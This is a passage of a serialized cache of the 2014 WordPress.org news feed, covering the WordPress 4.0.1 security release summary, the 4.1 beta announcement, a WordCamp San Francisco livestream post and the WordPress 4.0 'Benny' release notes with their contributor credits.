+0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:2:{i:0;a:5:{s:4:\"data\";s:8:\"Releases\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}i:1;a:5:{s:4:\"data\";s:8:\"Security\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:33:\"http://wordpress.org/news/?p=3363\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:345:\"WordPress 4.0.1 is now available. This is a critical security release for all previous versions and we strongly encourage you to update your sites immediately. Sites that support automatic background updates will be updated to WordPress 4.0.1 within the next few hours. If you are still on WordPress 3.9.2, 3.8.4, or 3.7.4, you will be [&#8230;]\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"Andrew Nacin\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:40:\"http://purl.org/rss/1.0/modules/content/\";a:1:{s:7:\"encoded\";a:1:{i:0;a:5:{s:4:\"data\";s:3395:\"<p>WordPress 4.0.1 is now available. This is a <strong>critical security release</strong> for all previous versions and we strongly encourage you to update your sites immediately.</p>\n<p>Sites that support automatic background updates will be updated to WordPress 4.0.1 within the next few hours. If you are still on WordPress 3.9.2, 3.8.4, or 3.7.4, you will be updated to 3.9.3, 3.8.5, or 3.7.5 to keep everything secure. (We don’t support older versions, so please update to 4.0.1 for the latest and greatest.)</p>\n<p>WordPress versions 3.9.2 and earlier are affected by a critical cross-site scripting vulnerability, which could enable anonymous users to compromise a site. This was reported by <a href=\"http://klikki.fi/\">Jouko Pynnonen</a>. This issue does not affect version 4.0, but version 4.0.1 does address these eight security issues:</p>\n<ul>\n<li>Three cross-site scripting issues that a contributor or author could use to compromise a site. Discovered by <a href=\"http://joncave.co.uk/\">Jon Cave</a>, <a href=\"http://www.miqrogroove.com/\">Robert Chapin</a>, and <a href=\"https://johnblackbourn.com/\">John Blackbourn</a> of the WordPress security team.</li>\n<li>A cross-site request forgery that could be used to trick a user into changing their password.</li>\n<li>An issue that could lead to a denial of service when passwords are checked. Reported by <a href=\"http://www.behindthefirewalls.com/\">Javier Nieto Arevalo</a> and <a href=\"http://www.devconsole.info/\">Andres Rojas Guerrero</a>.</li>\n<li>Additional protections for server-side request forgery attacks when WordPress makes HTTP requests. Reported by Ben Bidner (vortfu).</li>\n<li>An extremely unlikely hash collision could allow a user&#8217;s account to be compromised, that also required that they haven&#8217;t logged in since 2008 (I wish I were kidding). Reported by <a href=\"http://david.dw-perspective.org.uk\">David Anderson</a>.</li>\n<li>WordPress now invalidates the links in a password reset email if the user remembers their password, logs in, and changes their email address. Reported separately by <a href=\"https://twitter.com/MomenBassel\">Momen Bassel</a>, <a href=\"http://c0dehouse.blogspot.in/\">Tanoy Bose</a>, and <a href=\"https://managewp.com/\">Bojan Slavković of ManageWP</a>.</li>\n</ul>\n<p>Version 4.0.1 also fixes 23 bugs with 4.0, and we&#8217;ve made two hardening changes, including better validation of EXIF data we are extracting from uploaded photos. Reported by <a href=\"http://www.securesolutions.no/\">Chris Andrè Dale</a>.</p>\n<p>We appreciated the <a href=\"https://codex.wordpress.org/FAQ_Security\">responsible disclosure</a> of these issues directly to our security team. For more information, see the <a href=\"https://codex.wordpress.org/Version_4.0.1\">release notes</a> or consult the <a href=\"https://core.trac.wordpress.org/log/branches/4.0?rev=30475&amp;stop_rev=29710\">list of changes</a>.</p>\n<p><a href=\"https://wordpress.org/download/\">Download WordPress 4.0.1</a> or venture over to <strong>Dashboard → Updates</strong> and simply click “Update Now”.</p>\n<p><em>Already testing WordPress 4.1? The second beta is now available (<a href=\"https://wordpress.org/wordpress-4.1-beta2.zip\">zip</a>) and it contains these security fixes. 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This software is still in development, so we don’t recommend you run it on a production site. Consider setting up a test site just to play with the new version. To test WordPress 4.1, try the WordPress Beta Tester plugin (you&#8217;ll want &#8220;bleeding edge nightlies&#8221;). Or you can [&#8230;]\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:15:\"John Blackbourn\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:40:\"http://purl.org/rss/1.0/modules/content/\";a:1:{s:7:\"encoded\";a:1:{i:0;a:5:{s:4:\"data\";s:3409:\"<p>Welcome, everyone, to WordPress 4.1 Beta 1!</p>\n<p><strong>This software is still in development,</strong> so we don’t recommend you run it on a production site. Consider setting up a test site just to play with the new version. To test WordPress 4.1, try the <a href=\"https://wordpress.org/plugins/wordpress-beta-tester/\">WordPress Beta Tester</a> plugin (you&#8217;ll want &#8220;bleeding edge nightlies&#8221;). Or you can <a href=\"//wordpress.org/wordpress-4.1-beta1.zip\">download the beta here</a> (zip).</p>\n<p>WordPress 4.1 is due for release next month, so we need your help with testing. Here are some highlights of what to test:</p>\n<ul>\n<li>Our beautiful new default theme, <a href=\"https://make.wordpress.org/core/2014/09/09/twenty-fifteen/\">Twenty Fifteen</a>. It&#8217;s a clean, mobile-first, blog-focused theme designed through simplicity.</li>\n<li>A new <a href=\"https://make.wordpress.org/core/2014/11/11/focus-v2-demo-video/\">distraction-free writing mode for the editor</a>. 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We’d love to hear from you! If you’re comfortable writing a reproducible bug report, <a href=\"https://make.wordpress.org/core/reports/\">file one on the WordPress Trac</a>. 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This is the time when Matt Mullenweg addresses the community in his annual <a href=\"http://wordpress.tv/?s=state+of+the+word\">State of the Word</a> presentation – a recap of  the year in WordPress and giving us a glimpse into its future.</p>\n<p>This year the speaker lineup is stellar. There will be talks by three of the lead WordPress developers: <a href=\"http://2014.sf.wordcamp.org/speakers/#wcorg-speaker-andrew-nacin\">Andrew Nacin</a>, <a href=\"http://2014.sf.wordcamp.org/speakers/#wcorg-speaker-helen-hou-sandi\">Helen Hou-Sandí</a>, and <a href=\"http://2014.sf.wordcamp.org/speakers/#wcorg-speaker-mark-jaquith\">Mark Jaquith</a>. We’re also looking forward to speakers like <a href=\"http://2014.sf.wordcamp.org/speakers/#wcorg-speaker-jenny-lawson\">Jenny Lawson</a>, also known as The Bloggess, and <a href=\"http://2014.sf.wordcamp.org/speaker/chris-lema/\">Chris Lema</a>. If you’re at all interested in the web, you will appreciate the appearance of <a href=\"http://2014.sf.wordcamp.org/speakers/#wcorg-speaker-jeff-veen\">Jeff Veen</a> – one of the creators of Google Analytics and co-founder of Typekit.</p>\n<p>Even though San Francisco is far far away for most of you, you can still be part of the fun and watch all presentations in real-time via livestream:</p>\n<p><a href=\"http://2014.sf.wordcamp.org/tickets/\">Get a livestream ticket and watch all talks from WordCamp San Francisco live</a></p>\n<p>If you hurry, you can get one of the special livestream tickets, including a WordCamp San Francisco 2104 t-shirt. You can find all the technical details and start times <a href=\"http://2014.sf.wordcamp.org/live-stream/\">at the WordCamp San Francisco website</a>.</p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:56:\"https://wordpress.org/news/2014/10/wcsf-livestream/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:6;a:6:{s:4:\"data\";s:42:\"\n		\n		\n		\n		\n		\n				\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:25:\"WordPress 4.0 “Benny”\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:41:\"https://wordpress.org/news/2014/09/benny/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:50:\"https://wordpress.org/news/2014/09/benny/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 04 Sep 2014 17:05:39 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:1:{i:0;a:5:{s:4:\"data\";s:8:\"Releases\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:33:\"http://wordpress.org/news/?p=3296\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:370:\"Version 4.0 of WordPress, named “Benny” in honor of jazz clarinetist and bandleader Benny Goodman, is available for download or update in your WordPress dashboard. While 4.0 is just another number for us after 3.9 and before 4.1, we feel we&#8217;ve put a little extra polish into it. This release brings you a smoother writing and management experience [&#8230;]\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:14:\"Matt Mullenweg\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:40:\"http://purl.org/rss/1.0/modules/content/\";a:1:{s:7:\"encoded\";a:1:{i:0;a:5:{s:4:\"data\";s:23064:\"<p>Version 4.0 of WordPress, named “Benny” in honor of jazz clarinetist and bandleader <a href=\"http://en.wikipedia.org/wiki/Benny_Goodman\">Benny Goodman</a>, is available <a href=\"https://wordpress.org/download/\">for download</a> or update in your WordPress dashboard. While 4.0 is just another number for us after 3.9 and before 4.1, we feel we&#8217;ve put a little extra polish into it. This release brings you a smoother writing and management experience we think you&#8217;ll enjoy.</p>\n<div id=\"v-bUdzKMro-1\" class=\"video-player\"><embed id=\"v-bUdzKMro-1-video\" src=\"https://v0.wordpress.com/player.swf?v=1.04&amp;guid=bUdzKMro&amp;isDynamicSeeking=true\" type=\"application/x-shockwave-flash\" width=\"692\" height=\"388\" title=\"Introducing WordPress 4.0 &quot;Benny&quot;\" wmode=\"direct\" seamlesstabbing=\"true\" allowfullscreen=\"true\" allowscriptaccess=\"always\" overstretch=\"true\"></embed></div>\n<hr />\n<h2 style=\"text-align: center\">Manage your media with style</h2>\n<p><img class=\"alignnone size-full wp-image-3316\" src=\"https://wordpress.org/news/files/2014/09/media.jpg\" alt=\"Media Library\" width=\"1000\" height=\"586\" />Explore your uploads in a beautiful, endless grid. A new details preview makes viewing and editing any amount of media in sequence a snap.</p>\n<hr />\n<h2 style=\"text-align: center\">Working with embeds has never been easier</h2>\n<div style=\"width: 632px; \" class=\"wp-video\"><!--[if lt IE 9]><script>document.createElement(\'video\');</script><![endif]-->\n<video class=\"wp-video-shortcode\" id=\"video-3296-1\" width=\"632\" height=\"445\" autoplay=\"1\" preload=\"metadata\" controls=\"controls\"><source type=\"video/mp4\" src=\"//s.w.org/images/core/4.0/embed.mp4?_=1\" /><source type=\"video/webm\" src=\"//s.w.org/images/core/4.0/embed.webm?_=1\" /><source type=\"video/ogg\" src=\"//s.w.org/images/core/4.0/embed.ogv?_=1\" /><a href=\"//s.w.org/images/core/4.0/embed.mp4\">//s.w.org/images/core/4.0/embed.mp4</a></video></div>\n<p>Paste in a YouTube URL on a new line, and watch it magically become an embedded video. Now try it with a tweet. Oh yeah — embedding has become a visual experience. The editor shows a true preview of your embedded content, saving you time and giving you confidence.</p>\n<p>We’ve expanded the services supported by default, too — you can embed videos from CollegeHumor, playlists from YouTube, and talks from TED. <a href=\"https://codex.wordpress.org/Embeds\">Check out all of the embeds</a> that WordPress supports.</p>\n<hr />\n<h2 style=\"text-align: center\">Focus on your content</h2>\n<div style=\"width: 632px; \" class=\"wp-video\"><video class=\"wp-video-shortcode\" id=\"video-3296-2\" width=\"632\" height=\"356\" autoplay=\"1\" preload=\"metadata\" controls=\"controls\"><source type=\"video/mp4\" src=\"//s.w.org/images/core/4.0/focus.mp4?_=2\" /><source type=\"video/webm\" src=\"//s.w.org/images/core/4.0/focus.webm?_=2\" /><source type=\"video/ogg\" src=\"//s.w.org/images/core/4.0/focus.ogv?_=2\" /><a href=\"//s.w.org/images/core/4.0/focus.mp4\">//s.w.org/images/core/4.0/focus.mp4</a></video></div>\n<p>Writing and editing is smoother and more immersive with an editor that expands to fit your content as you write, and keeps the formatting tools available at all times.</p>\n<hr />\n<h2 style=\"text-align: center\">Finding the right plugin</h2>\n<p><img class=\"aligncenter size-large wp-image-3309\" src=\"https://wordpress.org/news/files/2014/09/add-plugin1-1024x600.png\" alt=\"Add plugins\" width=\"692\" height=\"405\" /></p>\n<p>There are more than 30,000 free and open source plugins in the WordPress plugin directory. WordPress 4.0 makes it easier to find the right one for your needs, with new metrics, improved search, and a more visual browsing experience.</p>\n<hr />\n<h2 style=\"text-align: center\">The Ensemble</h2>\n<p>This release was led by <a href=\"http://helenhousandi.com\">Helen Hou-Sandí</a>, with the help of these fine individuals. There are 275 contributors with props in this release, a new high. Pull up some Benny Goodman on your music service of choice, as a bandleader or in one of his turns as a classical clarinetist, and check out some of their profiles:</p>\n<p><a href=\"https://profiles.wordpress.org/aaroncampbell\">Aaron D. Campbell</a>, <a href=\"https://profiles.wordpress.org/jorbin\">Aaron Jorbin</a>, <a href=\"https://profiles.wordpress.org/kawauso\">Adam Harley (Kawauso)</a>, <a href=\"https://profiles.wordpress.org/adamsilverstein\">Adam Silverstein</a>, <a href=\"https://profiles.wordpress.org/adelval\">adelval</a>, <a href=\"https://profiles.wordpress.org/ajay\">Ajay</a>, <a href=\"https://profiles.wordpress.org/akeda\">Akeda Bagus</a>, <a href=\"https://profiles.wordpress.org/xknown\">Alex Concha</a>, <a href=\"https://profiles.wordpress.org/tellyworth\">Alex Shiels</a>, <a href=\"https://profiles.wordpress.org/aliso\">Alison Barrett</a>, <a href=\"https://profiles.wordpress.org/collinsinternet\">Allan Collins</a>, <a href=\"https://profiles.wordpress.org/sabreuse\">Amy Hendrix (sabreuse)</a>, <a href=\"https://profiles.wordpress.org/afercia\">Andrea Fercia</a>, <a href=\"https://profiles.wordpress.org/nacin\">Andrew Nacin</a>, <a href=\"https://profiles.wordpress.org/norcross\">Andrew Norcross</a>, <a href=\"https://profiles.wordpress.org/azaozz\">Andrew Ozz</a>, <a href=\"https://profiles.wordpress.org/rarst\">Andrey \"Rarst\" Savchenko</a>, <a href=\"https://profiles.wordpress.org/andykeith\">Andy Keith</a>, <a href=\"https://profiles.wordpress.org/andy\">Andy Skelton</a>, <a href=\"https://profiles.wordpress.org/atimmer\">Anton Timmermans</a>, <a href=\"https://profiles.wordpress.org/aubreypwd\">aubreypwd</a>, <a href=\"https://profiles.wordpress.org/barry\">Barry</a>, <a href=\"https://profiles.wordpress.org/toszcze\">Bartosz Romanowski</a>, <a href=\"https://profiles.wordpress.org/bassgang\">bassgang</a>, <a href=\"https://profiles.wordpress.org/bcworkz\">bcworkz</a>, <a href=\"https://profiles.wordpress.org/empireoflight\">Ben Dunkle</a>, <a href=\"https://profiles.wordpress.org/neoxx\">Bernhard Riedl</a>, <a href=\"https://profiles.wordpress.org/bigdawggi\">bigdawggi</a>, <a href=\"https://profiles.wordpress.org/bobbravo2\">Bob Gregor</a>, <a href=\"https://profiles.wordpress.org/bobbingwide\">bobbingwide</a>, <a href=\"https://profiles.wordpress.org/bradt\">Brad Touesnard</a>, <a href=\"https://profiles.wordpress.org/bradparbs\">bradparbs</a>, <a href=\"https://profiles.wordpress.org/bramd\">Bram Duvigneau</a>, <a href=\"https://profiles.wordpress.org/kraftbj\">Brandon Kraft</a>, <a href=\"https://profiles.wordpress.org/brasofilo\">brasofilo</a>, <a href=\"https://profiles.wordpress.org/bravokeyl\">bravokeyl</a>, <a href=\"https://profiles.wordpress.org/bpetty\">Bryan Petty</a>, <a href=\"https://profiles.wordpress.org/cgaffga\">cgaffga</a>, <a href=\"https://profiles.wordpress.org/chiragswadia\">Chirag Swadia</a>, <a href=\"https://profiles.wordpress.org/chouby\">Chouby</a>, <a href=\"https://profiles.wordpress.org/ehg\">Chris Blower</a>, <a href=\"https://profiles.wordpress.org/cmmarslender\">Chris Marslender</a>, <a href=\"https://profiles.wordpress.org/c3mdigital\">Chris Olbekson</a>, <a href=\"https://profiles.wordpress.org/chrisscott\">Chris Scott</a>, <a href=\"https://profiles.wordpress.org/chriseverson\">chriseverson</a>, <a href=\"https://profiles.wordpress.org/chrisguitarguy\">chrisguitarguy</a>, <a href=\"https://profiles.wordpress.org/cfinke\">Christopher Finke</a>, <a href=\"https://profiles.wordpress.org/ciantic\">ciantic</a>, <a href=\"https://profiles.wordpress.org/antorome\">Comparativa de Bancos</a>, <a href=\"https://profiles.wordpress.org/cojennin\">Connor Jennings</a>, <a href=\"https://profiles.wordpress.org/corvannoorloos\">Cor van Noorloos</a>, <a href=\"https://profiles.wordpress.org/corphi\">Corphi</a>, <a href=\"https://profiles.wordpress.org/cramdesign\">cramdesign</a>, <a href=\"https://profiles.wordpress.org/danielbachhuber\">Daniel Bachhuber</a>, <a href=\"https://profiles.wordpress.org/redsweater\">Daniel Jalkut (Red Sweater)</a>, <a href=\"https://profiles.wordpress.org/dannydehaan\">Danny de Haan</a>, <a href=\"https://profiles.wordpress.org/koop\">Daryl Koopersmith</a>, <a href=\"https://profiles.wordpress.org/eightface\">Dave Kellam</a>, <a href=\"https://profiles.wordpress.org/dpe415\">DaveE</a>, <a href=\"https://profiles.wordpress.org/davidakennedy\">David A. Kennedy</a>, <a href=\"https://profiles.wordpress.org/davidanderson\">David Anderson</a>, <a href=\"https://profiles.wordpress.org/davidmarichal\">David Marichal</a>, <a href=\"https://profiles.wordpress.org/denis-de-bernardy\">Denis de Bernardy</a>, <a href=\"https://profiles.wordpress.org/dd32\">Dion Hulse</a>, <a href=\"https://profiles.wordpress.org/ocean90\">Dominik Schilling</a>, <a href=\"https://profiles.wordpress.org/dougwollison\">Doug Wollison</a>, <a href=\"https://profiles.wordpress.org/drewapicture\">Drew Jaynes</a>, <a href=\"https://profiles.wordpress.org/drprotocols\">DrProtocols</a>, <a href=\"https://profiles.wordpress.org/dustyf\">Dustin Filippini</a>, <a href=\"https://profiles.wordpress.org/eatingrules\">eatingrules</a>, <a href=\"https://profiles.wordpress.org/plocha\">edik</a>, <a href=\"https://profiles.wordpress.org/oso96_2000\">Eduardo Reveles</a>, <a href=\"https://profiles.wordpress.org/eliorivero\">Elio Rivero</a>, <a href=\"https://profiles.wordpress.org/enej\">enej</a>, <a href=\"https://profiles.wordpress.org/ericlewis\">Eric Lewis</a>, <a href=\"https://profiles.wordpress.org/ericmann\">Eric Mann</a>, <a href=\"https://profiles.wordpress.org/evarlese\">Erica Varlese</a>, <a href=\"https://profiles.wordpress.org/ethitter\">Erick Hitter</a>, <a href=\"https://profiles.wordpress.org/ejdanderson\">Evan Anderson</a>, <a href=\"https://profiles.wordpress.org/fahmiadib\">Fahmi Adib</a>, <a href=\"https://profiles.wordpress.org/fboender\">fboender</a>, <a href=\"https://profiles.wordpress.org/frank-klein\">Frank Klein</a>, <a href=\"https://profiles.wordpress.org/ounziw\">Fumito MIZUNO</a>, <a href=\"https://profiles.wordpress.org/garyc40\">Gary Cao</a>, <a href=\"https://profiles.wordpress.org/garyj\">Gary Jones</a>, <a href=\"https://profiles.wordpress.org/pento\">Gary Pendergast</a>, <a href=\"https://profiles.wordpress.org/genkisan\">genkisan</a>, <a href=\"https://profiles.wordpress.org/soulseekah\">Gennady Kovshenin</a>, <a href=\"https://profiles.wordpress.org/georgestephanis\">George Stephanis</a>, <a href=\"https://profiles.wordpress.org/grahamarmfield\">Graham Armfield</a>, <a href=\"https://profiles.wordpress.org/vancoder\">Grant Mangham</a>, <a href=\"https://profiles.wordpress.org/gcorne\">Gregory Cornelius</a>, <a href=\"https://profiles.wordpress.org/tivnet\">Gregory Karpinsky (@tivnet)</a>, <a href=\"https://profiles.wordpress.org/hakre\">hakre</a>, <a href=\"https://profiles.wordpress.org/hanni\">hanni</a>, <a href=\"https://profiles.wordpress.org/ippetkov\">ippetkov</a>, <a href=\"https://profiles.wordpress.org/ipstenu\">Ipstenu (Mika Epstein)</a>, <a href=\"https://profiles.wordpress.org/jdgrimes\">J.D. Grimes</a>, <a href=\"https://profiles.wordpress.org/jackreichert\">Jack Reichert</a>, <a href=\"https://profiles.wordpress.org/_jameslee\">jameslee</a>, <a href=\"https://profiles.wordpress.org/avryl\">Janneke Van Dorpe</a>, <a href=\"https://profiles.wordpress.org/janrenn\">janrenn</a>, <a href=\"https://profiles.wordpress.org/jaycc\">JayCC</a>, <a href=\"https://profiles.wordpress.org/jeffsebring\">Jeff Sebring</a>, <a href=\"https://profiles.wordpress.org/jenmylo\">Jen</a>, <a href=\"https://profiles.wordpress.org/jeremyfelt\">Jeremy Felt</a>, <a href=\"https://profiles.wordpress.org/jesin\">Jesin A</a>, <a href=\"https://profiles.wordpress.org/jayjdk\">Jesper Johansen (jayjdk)</a>, <a href=\"https://profiles.wordpress.org/jnielsendotnet\">jnielsendotnet</a>, <a href=\"https://profiles.wordpress.org/jartes\">Joan Artes</a>, <a href=\"https://profiles.wordpress.org/joedolson\">Joe Dolson</a>, <a href=\"https://profiles.wordpress.org/joehoyle\">Joe Hoyle</a>, <a href=\"https://profiles.wordpress.org/johnbillion\">John Blackbourn</a>, <a href=\"https://profiles.wordpress.org/johnjamesjacoby\">John James Jacoby</a>, <a href=\"https://profiles.wordpress.org/johnpbloch\">John P. Bloch</a>, <a href=\"https://profiles.wordpress.org/johnregan3\">John Regan</a>, <a href=\"https://profiles.wordpress.org/duck_\">Jon Cave</a>, <a href=\"https://profiles.wordpress.org/jond3r\">Jonas Bolinder (jond3r)</a>, <a href=\"https://profiles.wordpress.org/joostdevalk\">Joost de Valk</a>, <a href=\"https://profiles.wordpress.org/shelob9\">Josh Pollock</a>, <a href=\"https://profiles.wordpress.org/joshuaabenazer\">Joshua Abenazer</a>, <a href=\"https://profiles.wordpress.org/jstraitiff\">jstraitiff</a>, <a href=\"https://profiles.wordpress.org/juliobox\">Julio Potier</a>, <a href=\"https://profiles.wordpress.org/kopepasah\">Justin Kopepasah</a>, <a href=\"https://profiles.wordpress.org/justinsainton\">Justin Sainton</a>, <a href=\"https://profiles.wordpress.org/kadamwhite\">K.Adam White</a>, <a href=\"https://profiles.wordpress.org/trepmal\">Kailey (trepmal)</a>, <a href=\"https://profiles.wordpress.org/kasparsd\">Kaspars</a>, <a href=\"https://profiles.wordpress.org/ryelle\">Kelly Dwan</a>, <a href=\"https://profiles.wordpress.org/kerikae\">kerikae</a>, <a href=\"https://profiles.wordpress.org/kworthington\">Kevin Worthington</a>, <a href=\"https://profiles.wordpress.org/kpdesign\">Kim Parsell</a>, <a href=\"https://profiles.wordpress.org/kwight\">Kirk Wight</a>, <a href=\"https://profiles.wordpress.org/kitchin\">kitchin</a>, <a href=\"https://profiles.wordpress.org/klihelp\">klihelp</a>, <a href=\"https://profiles.wordpress.org/knutsp\">Knut Sparhell</a>, <a href=\"https://profiles.wordpress.org/kovshenin\">Konstantin Kovshenin</a>, <a href=\"https://profiles.wordpress.org/obenland\">Konstantin Obenland</a>, <a href=\"https://profiles.wordpress.org/drozdz\">Krzysiek Drozdz</a>, <a href=\"https://profiles.wordpress.org/lancewillett\">Lance Willett</a>, <a href=\"https://profiles.wordpress.org/ldebrouwer\">ldebrouwer</a>, <a href=\"https://profiles.wordpress.org/leewillis77\">Lee Willis</a>, <a href=\"https://profiles.wordpress.org/lpointet\">lpointet</a>, <a href=\"https://profiles.wordpress.org/spmlucas\">Lucas Karpiuk</a>, <a href=\"https://profiles.wordpress.org/lkwdwrd\">Luke Woodward</a>, <a href=\"https://profiles.wordpress.org/nofearinc\">Mario Peshev</a>, <a href=\"https://profiles.wordpress.org/mark8barnes\">Mark Barnes</a>, <a href=\"https://profiles.wordpress.org/markjaquith\">Mark Jaquith</a>, <a href=\"https://profiles.wordpress.org/markoheijnen\">Marko Heijnen</a>, <a href=\"https://profiles.wordpress.org/marventus\">Marventus</a>, <a href=\"https://profiles.wordpress.org/iammattthomas\">Matt (Thomas) Miklic</a>, <a href=\"https://profiles.wordpress.org/mjbanks\">Matt Banks</a>, <a href=\"https://profiles.wordpress.org/matt\">Matt Mullenweg</a>, <a href=\"https://profiles.wordpress.org/mboynes\">Matthew Boynes</a>, <a href=\"https://profiles.wordpress.org/mdbitz\">Matthew Denton</a>, <a href=\"https://profiles.wordpress.org/mattheu\">Matthew Haines-Young</a>, <a href=\"https://profiles.wordpress.org/mattonomics\">mattonomics</a>, <a href=\"https://profiles.wordpress.org/mattyrob\">mattyrob</a>, <a href=\"https://profiles.wordpress.org/matveb\">Matías Ventura</a>, <a href=\"https://profiles.wordpress.org/maxcutler\">Max Cutler</a>, <a href=\"https://profiles.wordpress.org/mcadwell\">mcadwell</a>, <a href=\"https://profiles.wordpress.org/melchoyce\">Mel Choyce</a>, <a href=\"https://profiles.wordpress.org/meloniq\">meloniq</a>, <a href=\"https://profiles.wordpress.org/michael-arestad\">Michael Arestad</a>, <a href=\"https://profiles.wordpress.org/michelwppi\">Michel - xiligroup dev</a>, <a href=\"https://profiles.wordpress.org/mcsf\">Miguel Fonseca</a>, <a href=\"https://profiles.wordpress.org/gradyetc\">Mike Burns</a>, <a href=\"https://profiles.wordpress.org/mikehansenme\">Mike Hansen</a>, <a href=\"https://profiles.wordpress.org/mikemanger\">Mike Manger</a>, <a href=\"https://profiles.wordpress.org/mikeschinkel\">Mike Schinkel</a>, <a href=\"https://profiles.wordpress.org/dh-shredder\">Mike Schroder</a>, <a href=\"https://profiles.wordpress.org/mikecorkum\">mikecorkum</a>, <a href=\"https://profiles.wordpress.org/mitchoyoshitaka\">mitcho (Michael Yoshitaka Erlewine)</a>, <a href=\"https://profiles.wordpress.org/batmoo\">Mohammad Jangda</a>, <a href=\"https://profiles.wordpress.org/morganestes\">Morgan Estes</a>, <a href=\"https://profiles.wordpress.org/mor10\">Morten Rand-Hendriksen</a>, <a href=\"https://profiles.wordpress.org/Nao\">Naoko Takano</a>, <a href=\"https://profiles.wordpress.org/alex-ye\">Nashwan Doaqan</a>, <a href=\"https://profiles.wordpress.org/nendeb55\">nendeb55</a>, <a href=\"https://profiles.wordpress.org/celloexpressions\">Nick Halsey</a>, <a href=\"https://profiles.wordpress.org/nicolealleyinteractivecom\">Nicole Arnold</a>, <a href=\"https://profiles.wordpress.org/nikv\">Nikhil Vimal (NikV)</a>, <a href=\"https://profiles.wordpress.org/nivijah\">Nivi Jah</a>, <a href=\"https://profiles.wordpress.org/nunomorgadinho\">Nuno Morgadinho</a>, <a href=\"https://profiles.wordpress.org/olivm\">olivM</a>, <a href=\"https://profiles.wordpress.org/jbkkd\">Omer Korner</a>, <a href=\"https://profiles.wordpress.org/originalexe\">OriginalEXE</a>, <a href=\"https://profiles.wordpress.org/patricknami\">patricknami</a>, <a href=\"https://profiles.wordpress.org/pbearne\">Paul Bearne</a>, <a href=\"https://profiles.wordpress.org/djpaul\">Paul Gibbs</a>, <a href=\"https://profiles.wordpress.org/paulwilde\">Paul Wilde</a>, <a href=\"https://profiles.wordpress.org/pavelevap\">pavelevap</a>, <a href=\"https://profiles.wordpress.org/westi\">Peter Westwood</a>, <a 